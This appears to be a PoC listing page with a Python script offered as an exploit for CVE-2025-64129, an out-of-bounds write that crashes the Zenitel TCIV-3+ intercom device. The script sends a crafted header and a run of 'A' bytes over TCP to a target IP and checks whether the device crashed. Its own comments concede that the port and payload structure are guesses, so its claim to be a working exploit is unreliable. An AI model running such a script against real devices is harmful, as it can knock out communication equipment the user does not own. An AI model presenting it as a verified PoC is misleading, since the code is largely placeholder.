CVE-2025-64129: Zenitel TCIV-3+ 越界写入漏洞导致设备崩溃

# CVE-2025-64129 PoC - Zenitel TCIV-3+ Out-of-bounds Write # Note: This PoC is for educational and security testing purposes only # Unauthorized use against systems you don't own is illegal import socket import struct import sys def create_exploit_payload(): """ Generate exploit payload for CVE-2025-64129 The actual vulnerable service port and payload structure needs to be determined through further analysis """ # Base header header = b'\x00\x01\x00\x00' # Protocol header # Length field (to be adjusted based on target) length = struct.pack('>I', 0x1000) # Crafted payload that triggers out-of-bounds write # This is a placeholder - actual exploitation requires: # 1. Service fingerprinting # 2. Protocol analysis # 3. Memory corruption pattern identification payload = b'\x41' * 512 # Pattern to identify overflow point return header + length + payload def send_exploit(target_ip, target_port=80): """Send exploit payload to target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) payload = create_exploit_payload() sock.send(payload) print(f'[+] Exploit sent to {target_ip}:{target_port}') print(f'[+] Payload size: {len(payload)} bytes') # Wait for response try: response = sock.recv(1024) print(f'[*] Response received: {len(response)} bytes') except socket.timeout: print('[*] No response (target may have crashed)') sock.close() return True except Exception as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 send_exploit(target, port)